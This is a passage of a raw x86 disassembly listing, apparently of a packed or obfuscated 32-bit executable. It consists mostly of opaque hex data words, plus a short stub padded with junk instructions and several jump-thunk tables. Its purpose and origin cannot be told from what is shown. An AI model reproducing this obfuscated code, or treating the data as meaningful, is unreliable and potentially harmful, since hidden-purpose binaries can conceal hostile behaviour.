		dd 1967700Dh, 8666016h,	0FEFAE05h, 0BBB1909Bh, 0A112BD55h
		dd 69FB5DF8h, 3208B301h, 1FD5D83Ah, 0C12BC329h,	9B595343h
		dd 0E93F42A2h, 0FF97F9F1h, 0EE4C46FCh, 31B0BB50h, 79581586h
		dd 0E7BD700Dh, 31878AF2h, 0EF9AE8C7h, 47CDF566h, 0EBE36FE9h
		dd 0D23C8A89h, 47729EEFh, 0D1AA6FE9h, 9F996FF1h, 7EE83E41h
		dd 1DBF4AA1h, 2A91D8h, 6A370000h, 5F35E063h, 0C97016Bh
		dd 0FB119A9Bh, 6265B369h, 0FB1EE511h, 845A1D75h, 1DBE288Eh
		dd 9212693Dh, 0A459DE2Fh, 0FF000000h, 0B4B7150Fh, 9EA109FEh
		dd 8D90EEE8h, 0E17FDDD7h, 0E902B356h, 15F596Fh,	1B797363h
		dd 33CEBD18h, 576FF88h,	6FE90BDDh, 0C1349EECh, 69FB2908h
		dd 9025C311h, 4BAFA69Dh, 0AF5AF248h, 5142B426h,	37780CF7h
		dd 4CC45ACDh, 0C99F7010h, 25046ED2h, 61562CD7h,	766B5BF9h
		dd 15501C0Eh, 0B4977942h, 1FE0Fh, 63CFC200h, 77E1D5C5h
		dd 8FF1E9D9h, 0A50B01F1h, 0BA221707h, 0E250AF1Ch, 0F7E785EDh
		dd 0EFE9C00h, 2717B515h, 3231CF2Dh, 0FB3860D1h,	34477600h
		dd 521A0FE2h, 9CF2F55Dh, 7C766604h, 6A2C801Eh
		dd 0C435E063h, 69FB11C3h, 5078E94Ah, 5F75FB1Eh,	0BE221911h
		dd 0A6D22326h, 0DE75FB1Eh, 0E850451Bh, 84258FE5h, 9179D0A4h
		dd 0E56EDE2Fh, 12C3EB5Ch, 7CCA75FBh, 0FB12C1E9h, 107AC875h
		dd 0E1D7h, 0D35C7D00h, 0C9F09FDh, 6FE907E4h, 5B339DEBh
		dd 4A000361h, 99EAED55h, 6FE902F6h, 1BC6241Eh, 7EE85045h
		dd 0B8161000h, 0D0535AB5h, 28FBB425h, 0D42269FBh, 0ECAFB729h
		dd 0CBFB7ADCh, 196F72D2h, 482BED81h, 53092244h,	0D7D66BE9h
		dd 51040450h, 41572420h, 6C5EF21Dh, 0D68119EEh,	3CA60800h
		dd 0E10940B1h, 0C614700Fh, 0E850451Bh, 7491CB3Dh, 332BE6CEh
		dd 0D33DD53Fh, 8706555h, 4121C416h, 0FFA48779h,	0F7h, 0CC6AD6C9h
		dd 0E07EE8DCh, 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h
		dd 7FEEE8Ch, 1C1505A3h,	342E1EBCh, 0D83938D6h, 0FC3F67h
		dd 0E93B4E76h, 5E521A0Fh, 39BF1F4h, 278B8258h, 139C3FBDh
		dd 0DFE2463Dh, 7CEF689h, 8FDD6FE9h, 0F5534D25h,	0BA7C744Ah
		dd 5FC961C1h, 150F8DE1h, 754BB4B7h, 0D6AE1880h,	4BE07EDCh
		dd 0A516C140h, 69FEEB4Dh, 0E1453A10h, 5DE761B0h, 5B5EF664h
		dd 6EBC9B05h, 0FDBBB56Bh, 0F61E8F06h, 5760049h,	0E9871FB7h
		dd 7358D446h, 0AE557DEEh, 16647600h, 0D847AD82h, 1C86E8E0h
		dd 41EC4A44h, 0A40E766Bh, 5ECF58C1h, 76009836h,	1A8DF745h
		dd 3A8ADF25h, 0F0F3514Bh, 0DCDF433Ah, 66E8C87Fh, 76E1CDF5h
		dd 0F68EDCCDh, 0F1C0A057h, 0BFB99F7h, 47B0B311h, 0A9137D71h
		dd 7275DBD1h, 0AD7C5C1Bh, 0C7B755B3h, 0C76C6FCDh, 3, 0F599575h
		dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
		dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E38953h
		dd 4C3h, 4BE5600h, 29000000h, 1C875EF3h, 89575C24h, 4C781E7h
		dd 83000000h, 3C8704EFh, 0C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3C056179h
		mov	ecx, 0CA128BCEh
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		mov	ebx, 8
		add	ebx, 106222DAh
		add	ebx, esi
		sub	ebx, 106222DAh
		mov	[ebx], ecx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		dw 7FE6h
		dd 0F6D6B8D9h, 0C5030617h, 38DDE0FFh, 83335962h, 7684163Dh
		dd 3D784435h, 852458E1h, 0A58002A5h, 3089126Bh,	0B3876D0Eh
		dd 0BFD1523Ch, 0C006D96h, 0D4ED3C64h, 0BD5D1E58h, 0C1F12988h
		dd 9EF24C81h, 63AC50ABh, 239E5DF8h, 1A494875h, 98EC605Bh
		dd 3B4662B3h, 703B1694h, 919B0386h, 0B9931BD1h,	0BEAC154Ah
		dd 54E95B22h, 4507990h,	3B1251E6h, 84AB6724h, 8D8D2EEEh
		dd 617F8C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	3CC35747h, 23891496h, 0A3DA810Eh, 0E8556553h, 11h
		dd 75F39Fh, 0F24038A1h,	3AA24645h, 0B6645E26h, 55BD8B98h
		dd 5E061202h, 9A18D89h,	6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 86B4DFC3h, 0FECC155Ah
		dd 10E999CCh, 13000000h, 3D71501Eh, 0C985FC60h,	727453CAh
		dd 0C7A9AEA2h, 12050585h, 59A006h, 0C7D5B400h, 121BD985h
		dd 6, 49B5FF00h, 0F06122Ah, 8Fh, 3195FF00h, 6A06121Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 1668C355h, 0F20497Ah, 58Ch, 60F96000h, 95036161h
		dd 6121A55h, 95FF006Ah,	61219CDh, 3BEBC08Bh, 44C8DD43h
		dd 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD159502h, 0E9E7BECEh
		dd 90DE5C09h, 0B46B4319h, 0FE8A43C2h, 0F17EE9E2h, 0C62AECADh
		dd 0B6A56C88h, 444926FFh, 0C1DEAF17h, 0E8735BA2h, 8, 29E5C9D6h
		dd 0EC6693D5h, 65BD3156h, 5E061205h, 0D59D8B58h, 8106122Dh
		dd 75F0C0h, 58DB8100h, 6818E1E6h, 1D49h, 0AA5ABA66h, 259D015Fh
		dd 0FF06120Ah, 12E930h,	0E1210000h, 1FB95670h, 9656C769h
		dd 27AF56FEh, 2123AA8Ah, 75858959h, 8106122Dh, 0C31DF3C1h
		dd 199D0935h, 81061216h, 86CFFDC1h, 0B1B5031Ah,	81061212h
		dd 2FB5A5C1h, 25858970h, 89061219h, 83F48A08h, 484802E8h
		dd 15880Fh, 0DE80000h, 87000000h, 0DD14DA36h, 30C8C9E3h
		dd 98A4BFECh, 4F5ED88Bh, 1C850Fh, 95230000h, 6121F71h
		dd 23E9h, 3182600h, 0B0DEFC03h,	0E3CDAA54h, 0B562FBF9h
		dd 9531F62h, 122CD9B5h,	68E95B06h, 0FBFFFFFFh, 75E56D1Bh
		dd 0FAAE8D8Dh, 6A0617h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 89C24AC3h, 89F1BF0Fh, 1209A18Dh
		dd 19DA8106h, 0C704796Bh, 12050585h, 662806h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 340B463Ch, 41158113h, 0D10BF781h, 85297212h,	6122F11h
		dd 1BD985C7h, 612h, 8D890000h, 6120D69h, 268DB5FFh, 6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 6EEBA7C3h, 4B532F79h, 8B2D9EE8h, 1202ADBDh, 7E906h
		dd 44920000h, 0D54D9F66h, 95FFF55Fh, 6121B31h, 0CE9h, 10054400h
		dd 519B21D7h, 0FE984902h, 0FF006AE0h, 1219CD95h, 0EBC08B06h
		dd 6F04B23Eh, 693C56CDh, 0C9A30436h, 3FCB1988h,	1B19787Fh
		dd 556E8FBBh, 6E5AA921h, 4F4BC8BAh, 0AB454959h,	0EA0DB52Fh
		dd 3BA2E123h, 8CC7EF67h, 0A6EE70E9h, 965FD8F8h,	8AEA9A05h
		dd 0E8C0419Fh, 11h, 378A720Ch, 93EB3A99h, 0DDD2343Ch, 0C0A36D01h
		dd 5E9EB639h, 2629E381h, 0C681237Fh, 5A0Ah, 958BC033h
		dd 6120D25h, 0B6060C8Bh, 3DF18136h, 0F21A9C0h, 0C181D1BFh
		dd 69661DCDh, 81958B56h, 5A06122Fh, 2CACE981h, 0A3BA7920h
		dd 5157F379h, 81CA8A60h, 962419DFh, 48F613Bh, 0B58B6006h
		dd 6121231h, 0E961DF8Bh, 12h, 8ACFA88Ah, 675849C2h, 0C7FEE962h
		dd 80A1F895h, 0E8835D6Ch, 5BD8B04h, 81061224h, 0FFA6C4F8h
		dd 28850FFFh, 0E9000000h, 12h, 0D7F3A15Dh, 0E1BA11CAh
		dd 69F9119Bh, 75538129h, 23E98460h, 0E9000000h,	5F07B549h
		dd 0D7782D4Fh, 80C187F9h, 65E9E9D6h, 8AFFFFFFh,	5A73E43Fh
		dd 5DC50970h, 0B4205619h, 1BE9C361h, 0D9000000h, 7A5A0Ah
		dd 24200h, 4 dup(0)
		dd 7E90000h, 6800000Ch,	617FD88h, 0FB4F01E9h, 0FEAA68FFh
		dd 0F7E90617h, 68FFFB4Eh, 6180041h, 0FB4EEDE9h,	0FA68FFh
		dd 0E3E90618h, 68FFFB4Eh, 61801B9h, 0FB4ED9E9h,	35868FFh
		dd 0CFE90618h, 68FFFB4Eh, 61803FEh, 0FB4EC5E9h,	56668FFh
		dd 0BBE90618h, 68FFFB4Eh, 6180659h, 0FB4EB1E9h,	0C0DEC4FFh
		dd 0BFE7BE08h, 0BDE9BD07h, 0B9E5BB05h, 0BAECB701h, 27DE9202h
		dd 28722A7Ch, 256F2777h, 256F277Fh, 4A6A227Ch, 55D3394Fh
		dd 886B396h, 5C247D8Bh,	81A9DE46h, 0DE093B5h, 0F0AEF37Dh
		dd 0EFB380FFh, 7D490F31h, 2D5E722Ah, 0F0C3E3C1h, 0EA8CE9FFh
		dd 0F6A9BB93h, 0BDDA0E66h, 0B6B24C6Fh, 0A6B6A1ADh, 4FBE6A41h
		dd 9000000h, 0D2C386B3h, 0D4D2D119h, 0C6146744h, 0BB93C105h
		dd 1796873Ah, 47BFEE35h, 0C656A920h, 6C5EBA6Eh,	0D16124Ch
		dd 41C75601h, 2036EF6Ah, 4C6FAAF8h, 0A567BA6Dh,	0E4h, 0B9FD1392h
		dd 9048B77h, 0F6168D7h,	2AAA7D60h, 0BF9C2C7Ah, 247DD96Ch
		dd 0A9DE465Ch, 0FC93B581h, 0B8C65B38h, 805326A8h, 0BC3D66F0h
		dd 0A02ABAE4h, 0FDD0A303h, 0C2BEE36Dh, 81E744ACh, 0A99F9B5h
		dd 5C2F0C9Ch, 326FF989h, 0B1F9B46Ch, 2A401F0h, 6FC29F2Fh
		dd 81E0B021h, 0C7D7CAB5h, 0C2DCC50Fh, 0B1EF3732h, 23509AEDh
		dd 6EB66F60h, 0D3394F31h, 86B581E0h, 5FAD00D3h,	0BB93E33Ah
		dd 0ACC0782Bh, 0B5CBBC9Fh, 42781F42h, 0B5344F7h, 0C560E98h
		dd 5B510F97h, 0EB3ADAE6h, 9BE7B53h, 9D050000h, 0A6FF4901h
		dd 0A8FE4800h, 0A4FC46FEh, 0ABF842FAh, 9DD343FBh, 0B56D396Ah
		dd 0B26A346Bh, 0B26A3C68h, 0AD653968h, 947C928Dh, 0C9B39654h
		dd 267DCE4Bh, 540DC880h, 81A9D63Eh, 0ADF1B0B5h,	82025508h
		dd 6AC77F1Fh, 0D73D530Ch, 8AB581A9h, 93A84D7h, 8643594Ah
		dd 0B7BB93C1h, 0C81C7404h, 924C6C41h, 7701910Dh, 0FFE57529h
		dd 15671E03h, 0A65F0019h, 6C416890h, 0D72ADD4Ch, 41D6CC8Bh
		dd 0D7A86Ah, 4D950000h,	0E1BE4E58h, 247DFB8Eh, 4360EA7Ah
		dd 0DE7BD363h, 24B581AEh, 1F69217Dh, 0E8FE82h, 354A7E52h
		dd 7D4C039Eh, 542766C5h, 6C9DF181h, 4A03BCADh, 7EA4CC34h
		dd 17CE814Ah, 8A0EA184h, 5BA9FC70h, 446CAD36h, 0E40C22DBh
		dd 594C6CAFh, 799FB5A6h, 0EC4C6CAFh, 8E41E639h,	0D2B1C2D6h
		dd 980699E1h, 0EC3E5445h, 45427B52h, 0FFE171C6h, 0D02370C5h
		dd 0CED8CB2Bh, 9D8E613Eh, 67584E55h, 151C87E8h,	75C8FC6Ah
		dd 0E9BA02BDh, 0B9EA6ABDh, 6D406640h, 0DBEFF3AFh, 0CFA73F3Ah
		dd 89Ch, 6B237B27h, 6A228421h, 68208620h, 641C821Eh, 651D891Ah
		dd 178C7BF5h, 128DD78Fh, 1A8AD48Ch, 178AD48Ch, 0B4AFCF87h
		dd 9657769Eh, 0F06DEBB3h, 0C880267Dh, 0C37B237Eh, 7A247D66h
		dd 0B04160EAh, 951FAFEFh, 28059511h, 0B6CA8255h, 635EE285h
		dd 0FCA38EECh, 377F3829h, 90F5566Ch, 3286C483h,	0D5BE0C5Fh
		dd 8ABB93E3h, 39EE6D7h,	2EB8489Bh, 9C267E73h, 0F2EE6C70h
		dd 0F18154C5h, 8504114h, 9B78089Eh, 1CD59048h, 6FC51E06h
		dd 4DA0534Ch, 3ACAD4CDh, 29A025E2h, 7ADFDBC5h, 0DB930B96h
		dd 9D8E1091h, 0C8584E55h, 0B00898EBh, 0C729E077h, 0F2263B5Fh
		dd 0ED37EFAFh, 0B1F9EAB4h, 0D060B3F3h, 29E0AB78h, 89D1EAC7h
		dd 3D378A1Ch, 0F1ADF424h, 0F1FF7E39h, 5FA47B73h, 722FAF02h
		dd 59A19C2Ch, 0BA045747h, 0C3D9CA89h, 0C93B820Eh, 0C0D48C3Fh
		dd 268023B3h, 0F5E6B996h, 5DB0F6ADh, 0E4FAB36Ch, 0D9178E3Ch
		dd 0DD2B7E31h, 0D705965Ch, 9133B635h, 0AE5DE9BDh, 4421B1F5h
		dd 0C6791E71h, 0AD09DE36h, 4D53D305h, 6C37C151h, 2762A956h
		dd 380BE2ADh, 5DC6C2A8h, 0D00EF60Ch, 9043D305h,	0EA6F6BBDh
		dd 0AB41FD5Ah, 43A77FDh, 1C640000h, 38CB1E88h, 0C4E2C40Ch
		dd 0B6045734h, 0B581A94Eh, 81B98E5Ah, 5D3E02B5h, 66C24A7Eh
		dd 0C74A7E44h, 39D3BB48h, 0AF0228A0h, 84755465h, 4FE4CCBh
		dd 12A4C88h, 0DD3003A3h, 6C7AD68Fh, 0EEAC5F44h,	30EECC42h
		dd 504DC74h, 0BE000007h, 0B802BAE4h, 0B701B9EDh, 0B5FFB7EFh
		dd 0B1FBB3EBh, 8CFCB4F2h, 248221E4h, 217D226Ch,	21851F69h
		dd 1C821F69h, 33494464h, 0B399A9CDh, 7D850280h,	0CF219624h
		dd 4E8EAFh, 38499D2Dh, 0D4E96859h, 4293628Fh, 0A7BDAE01h
		dd 0BB99BD0Eh, 68BC7427h, 5A394ABCh, 207E2169h,	6F60B390h
		dd 7BCE1C59h, 0CC863942h, 371595BCh, 35142597h,	5C438B44h
		dd 54A1EF42h, 1FFE77Dh,	7BC3BE4Eh, 0EEB7B2Bh, 814071BBh
		dd 73497A90h, 0BB6E85F1h, 7F1F82CAh, 36DEF4EFh,	2B8DD1F2h
		dd 6152A578h, 5E168819h, 0A97724A3h, 0AAFE48F5h, 0D4CAD757h
		dd 53E96016h, 22FA92F1h, 64Ch, 0BB732B77h, 0BA723471h
		dd 0B8703670h, 0B46C326Eh, 0B56D396Ah, 0C7DC2B45h, 0C2DD27DFh
		dd 0CADA24DCh, 0C7DA24DCh, 4FF1FD7h, 99A906EEh,	40BD3BB3h
		dd 0D2C386B3h, 93BDD7BCh, 45D588BBh, 2A4024Ah, 2C722FAFh
		dd 0F791129Ch, 6C443BE1h, 0A87B2E4Ch, 8B138E18h, 9287ABFBh
		dd 0E130FEBh, 309DDA59h, 19A4A71Bh, 8C4F7CC6h, 0B9AE29Bh
		dd 0DB2E0B9Bh, 7EC6E48Dh, 0EEA65942h, 5AC112D6h, 0C1967E46h
		dd 1526465Ah, 0C6DF1A89h, 493A0DE0h, 42CD8233h,	7000B348h
		dd 42C5F518h, 0A45D1658h, 42C5668Eh, 0DA28DB58h, 5842C532h
		dd 0D3217427h, 5842C510h, 8947574Ah, 24C010FBh,	8D8B63FBh
		dd 36000005h, 307A326Ch, 2F793175h, 2D772F77h, 29732B73h
		dd 4742C7Ah, 9C0A996Ch,	99059AE4h, 990D97E1h, 940A97E1h
		dd 0ABC1BCDCh, 0B399A845h, 0B3FD7AF8h, 0BCD2C386h, 0BB99A51Bh
		dd 0A8FEA8F0h, 0CFDB055h, 2D83D98Dh, 69B2F117h,	0FAB1644Ch
		dd 0B4073495h, 97079A24h, 0DCBFCBDFh, 87D2514Ch, 0C39401E3h
		dd 7E23A3F6h, 831E6820h, 48908B1Bh, 0DCB9495Dh,	332FD5EBh
		dd 6F224C69h, 99059C1Ch, 8C95B909h, 61465CDBh, 9C9B2EC0h
		dd 0CB1E881Ch, 9048564Bh, 0DD148DD5h, 7350E0C6h, 56014DA0h
		dd 0EF6A473Ch, 1AAAFCA7h, 4E28EA3Dh, 73000001h,	0D2C386B3h
		dd 93C707BCh, 0F58538BBh, 6C4B499Dh, 32274B4Ch,	3324E714h
		dd 98EBBBEBh, 253891A7h, 5A0D427Eh, 554958A2h, 1C8A1C64h
		dd 0CC5CAF8Ch, 873F5F42h, 92834673h, 0F447574Ah, 188ED03h
		dd 0FAAD4848h, 7F276F6Ah, 930D9727h, 0CB9E7B0Bh, 0FE2A78h
		dd 0D2CE5848h, 119ABD49h, 63AB7666h, 4E106343h,	25h, 0C386B399h
		dd 8C1A8AD2h, 91324839h, 0A6BB93C1h, 0D90B63F3h, 0AF4C6C41h
		dd 0B99EAEB3h, 0BB6A41D6h, 0A4h, 3D530C06h, 0B581A9D7h
		dd 7DA3B98Ah, 0F0B581A9h, 97176A3Dh, 1984B00Ah,	91202302h
		dd 0FFA42EBEh, 148D17A7h, 3170FA8Ah, 0B2FAB56Dh, 0F5DB0EEh
		dd 0B58168A2h, 0FDB5E9B8h, 8F9D8E9h, 9694B2F2h,	2314C7BBh
		dd 26DEC8DBh, 0CCFBC7DCh, 8D105693h, 9DD23A50h,	0D4874C6Dh
		dd 0EA702E01h, 0D830EF48h, 3EE6840h, 0CDD50000h, 0D6CF19D1h
		dd 0D8CE18D0h, 0D4CC16CEh, 0DBC812CAh, 0CDA313CBh, 853D693Ah
		dd 823A643Bh, 823A6C38h, 7D356938h, 0A44C625Dh,	99B399AAh
		dd 267D9E1Bh, 237EC880h, 0C008C37Bh, 0DD70C3E3h, 0D2CD247Dh
		dd 8D1D811Fh, 190ADDB0h, 40D0CED1h, 0F6801063h,	0BA02F3ABh
		dd 0B068BBEBh, 2975AF53h, 8D57B582h, 34A7E29h, 0C2213F6h
		dd 446625ABh, 0F7A7F840h, 0BC4CFFA4h, 17945B68h, 13B395AFh
		dd 0E4743274h, 70613407h, 7430995Ah, 0D7EDBE42h
		dd 46541031h, 0C5E1C424h, 0B2855835h, 0D6C560F4h, 0E2BA523Ah
		dd 348h, 0BF77277Bh, 0BE763075h, 0BC743274h, 0B8702E72h
		dd 0B971356Eh, 0C3E02749h, 0BEE12BE3h, 0C6DE28E0h, 0C3DE28E0h
		dd 80323DBh, 99AA0AF2h,	44C13FB3h, 0EA7A247Dh, 0A55D4160h
		dd 0B0A16091h, 0A93BE1F7h, 7B2EB581h, 367E3728h, 97E5386Eh
		dd 0BB93C5FEh, 0BC14A457h, 4C6C4D68h, 4FFF6460h, 6A41D708h
		dd 636Ch, 86B3B700h, 0DB5626DFh, 6D4ADAC4h, 1723A5B6h
		dd 8C3D5344h, 0B1BB9308h, 3E540DFEh, 4C6F18D6h,	4E58D88Bh
		dd 7A750558h, 8DA90FFBh, 5BA78A19h, 0CCE1D985h,	0CF1D7043h
		dd 4C6FDA15h, 0B2425C45h, 96267828h, 477EE305h,	0E460F9F5h
		dd 6A414B73h, 8D198AD2h, 8E7C3CFDh, 0E6B3780Ah,	0DDFEC013h
		dd 49000000h, 0EA7A247Dh, 0F82036EFh, 6DB581A9h, 0A99E869Ch
		dd 20D3B581h, 297AFA4Dh, 3E63ED7Dh, 0A0B66F60h,	0B581A978h
		dd 57E73AEDh, 64ACD4CDh, 0F0186640h, 65B581A9h,	6C27DFB2h
		dd 0D3C355EDh, 0B5E9BF0h, 81EC1CBDh, 0F7ADF5B5h, 11951FAFh
		dd 0EF6FC295h, 0B3FBECB2h, 4623B3F3h, 0B0F13BF3h, 0F90A5EEEh
		dd 7E13291Ah, 83BB93F1h, 0AD3D693Bh, 94248223h,	0EC91E4B7h
		dd 0B31F051Bh, 9F524C6Fh, 4E21851Fh, 92718296h,	42D78BA1h
		dd 0B3664278h, 7D297AC2h, 7E287BC5h, 0DA102EC0h, 0A47C143Ah
		dd 1E0h, 27DFBFE3h, 26DEC8DDh, 24DCCADCh, 20D8C6DAh, 21D9CDD6h
		dd 5B48BFB1h, 5649934Bh, 5E469048h, 5B469048h, 706B8B43h
		dd 99ACB25Ah, 0AC29A7B3h, 0CED3267Dh, 0FB45FDD0h, 0E340F8A6h
		dd 0D73D530Ch, 8AB581A9h, 0C15120D7h, 1061AEDBh, 9F4673BDh
		dd 0A8013883h, 2ED6ECEBh, 23B5816Bh, 0D9CA9D70h, 930306C3h
		dd 0F48437BBh, 6F03489Ch, 118D124Ch, 0F6A8F781h, 9F848066h
		dd 819A96E8h, 9A0C98E0h, 8EDA2D0Ah, 6A4114C9h, 9FABh, 247DF600h
		dd 4360EA7Ah, 0DE7BD363h, 24B581AEh, 722C747Dh,	8B4E05E2h
		dd 0D3F215CBh, 8BD58D60h, 0FDF88816h, 64B7EFB5h, 392AE91Ah
		dd 1A6E3880h, 7ED31C04h, 0CB9E514Ah, 0B6512A78h, 33E6446Ch
		dd 775A677Bh, 39D7086h,	165E427Bh, 0A9861690h, 0DFEB156h
		dd 10C8DEC5h, 0BC9DDC6h, 3ADBD025h, 0EDE5BD55h,	0D6000000h
		dd 0D01AD2CCh, 0CF19D1D5h, 0CD17CFD7h, 0C913CBD3h, 0A414CCDAh
		dd 3C6A39CCh, 39653A84h, 396D3781h, 346A3781h, 4B615C7Ch
		dd 0B399AFA5h, 7D9D1A98h, 7EC88026h, 66C37B23h,	6096247Dh
		dd 8CA0DA73h, 0BB3A2BFEh, 6DEDCA6Fh, 2F6F3277h,	0EF79095Ch
		dd 2034ECB2h, 293F3013h, 0BB99FB88h, 34861961h,	496180D3h
		dd 48D8ABF7h, 332FA987h, 734638E8h, 8A1B7B20h, 2FB9491Ch
		dd 10F80E72h, 6A4C6949h, 10C36836h, 663B853Dh, 46358554h
		dd 0DAB7475Fh, 0C7876923h, 0E86F5E10h, 0A275C103h, 0FBCEBA12h
		dd 3834C82Bh, 0ECB2EF23h, 0E7B7EA34h, 1ED3CD57h, 0B4912185h
		dd 0D8C751E1h, 0F7AC36C6h, 0ABCF1FAFh, 3B3F0FB6h, 0EFAFF226h
		dd 0ADC37C37h, 0C827FC47h, 9D099AFAh, 0AAF777CAh, 0D8C64F4h
		dd 91000000h, 0FC5AC2D8h, 5C0FC827h, 13AE7609h,	0E979257Dh
		dd 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh, 6BFBABF8h
		dd 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 0E6895639h,	4C681h
		dd 0B8500000h, 4, 8758C629h, 565C2434h,	0C681E689h, 4
		dd 8704EE83h, 895C2434h, 8957241Ch, 4C781E7h, 83000000h
		dd 3C8704EFh, 14895C24h, 1B85024h, 0BB08B831h, 0FD5FCB46h
		dd 48BC301h, 4C48124h, 54000000h, 8124148Bh, 4C4h, 89525500h
		dd 5AD589DAh, 5D086A89h, 5A2434FFh, 8B04C483h, 8950241Ch
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 0FFFB4306h
		dd 6BB86588h, 3061807h,	0E5E0FFC5h, 0A65C2F60h,	0E52BF66Eh
		dd 0F050678Eh, 5C4FB438h, 0F735AB55h, 81566C3Ah, 1137DC3Fh
		dd 0A7144C0Dh, 7D718A6Bh, 3F3F7EB3h, 0B1385DAFh, 0DB615A27h
		dd 0A941DB77h, 4C24C643h, 605EFFD8h, 35479FFDh,	964A526Ch
		dd 0D300D62Eh, 513309E8h, 2A67F783h, 494060A6h,	0F0067D3Eh
		dd 0B060DF84h, 0D65291B9h, 0C8230E9Fh, 0B778DF33h, 1414C826h
		dd 386DBCEAh, 7D1ED8CDh, 5A6DAE9Ch, 0E963E2CAh,	0BDh, 13EFC3A5h
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 0
		dd 14BAE900h, 25680000h, 0E906180Bh, 0FFFA76B5h, 180C3F68h
		dd 76ABE906h, 968FFFAh,	0E906180Dh, 0FFFA76A1h,	180E5768h
		dd 7697E906h, 0EE68FFFAh, 0E906180Eh, 0FFFA768Dh, 180FBB68h
		dd 7683E906h, 7068FFFAh, 0E9061810h, 0FFFA7679h, 18112068h
		dd 766FE906h, 0D568FFFAh, 0E9061811h, 0FFFA7665h, 1812FC68h
		dd 765BE906h, 2168FFFAh, 0E9061814h, 0FFFA7651h, 18158168h
		dd 7647E906h, 0A468FFFAh, 0E9061816h, 0FFFA763Dh, 1817F668h
		dd 7633E906h, 2468FFFAh, 0E9061819h, 0FFFA7629h, 181A8868h
		dd 761FE906h, 5D68FFFAh, 0E906181Bh, 0FFFA7615h, 0FC9A06F9h
		dd 10AE180Ch, 28C62820h, 3EDC4238h, 53F1594Eh, 24198BE6h
		dd 372E1EBCh, 4C4535D3h, 645E4EECh, 8696806h, 1106F97h
		dd 196B7E76h, 0B4B7150Fh, 8A604FEh, 12ED7873h, 0FE9249DCh
		dd 11822DC5h, 69FB3E54h, 7CE0D785h, 888B2379h, 0FB420B37h
		dd 8A6A4375h, 2FBA5FB6h, 3DA6DEh, 6A4C0000h, 0C48A8063h
		dd 11676ACCh, 88207679h, 116B6CDDh, 54A269FBh, 1ED40051h
		dd 0F5EA75FBh, 0AFA5F891h, 821AD769h, 6BD5C97Fh, 6B4B0468h
		dd 6D4D26FCh, 2F8C4299h, 0DD89DEh, 0F2F0000h, 4BB4B715h
		dd 94058075h, 6FE9076Ch, 8A8D2573h, 0E47CDAD4h,	45ADA27Ah
		dd 34928C42h, 44701789h, 0D67ABD27h, 0B392BA2Bh, 4B996FE9h
		dd 4E48FEE1h, 0D9AF52F0h, 0DCE87CE4h, 3CBE7914h, 0FA0C7FE9h
		dd 1C6FE9E2h, 0A719C422h, 0B4BA109Dh, 0F977E142h, 0AEB10F09h
		dd 70695853h, 0A6648CFDh, 1D6B6FE9h, 0D142ED85h, 69FBA628h
		dd 0B045E331h, 0A7B26BDh, 701048DBh, 244CBD46h,	2B6FEF38h
		dd 469473DDh, 68D0C59Bh, 5A5127CAh, 339DF3F6h, 0CFE665Bh
		dd 79420ACBh, 2AF2977Ah, 34000012h, 4737D541h, 5B4BE953h
		dd 73630163h, 8979177Dh, 218E2C94h, 0F75F54C6h,	0E726959h
		dd 27878070h, 419F9989h, 0D243A4A3h, 760112AAh,	0F4C9EB1h
		dd 2414B21Ah, 4B21CC2Ah, 9AF0F351h, 6A5EB230h, 0C435E063h
		dd 69FB11C3h, 0A8F9FC4Ah, 75FB1E7Ch, 27FBDBB4h,	0DE2F91D0h
		dd 10217h, 865CBD00h, 0E6BE2892h, 0D58B8EECh, 482C7CE0h
		dd 8F8DE461h, 91A3F4F7h, 0A36FE95Dh, 8DF7EBA9h,	0FE9C348Ah
		dd 2B8D855Bh, 9068D228h, 48D3896h, 0A4C9F592h, 95287B7Dh
		dd 6FE9C46Dh, 0C4375FD0h, 0F8466FE9h, 5E41ABF9h, 0CE790803h
		dd 0FBC3B45Dh, 0D977C569h, 0A0BE4944h, 0EB45D94Fh, 0D9AF5AF2h
		dd 8D837BE5h, 64CE2427h, 857A50D9h, 40B11A1Dh, 75FB4618h
		dd 0D741D927h, 0FEB4664h, 85AB1D70h, 0AA34BA2Dh, 23957465h
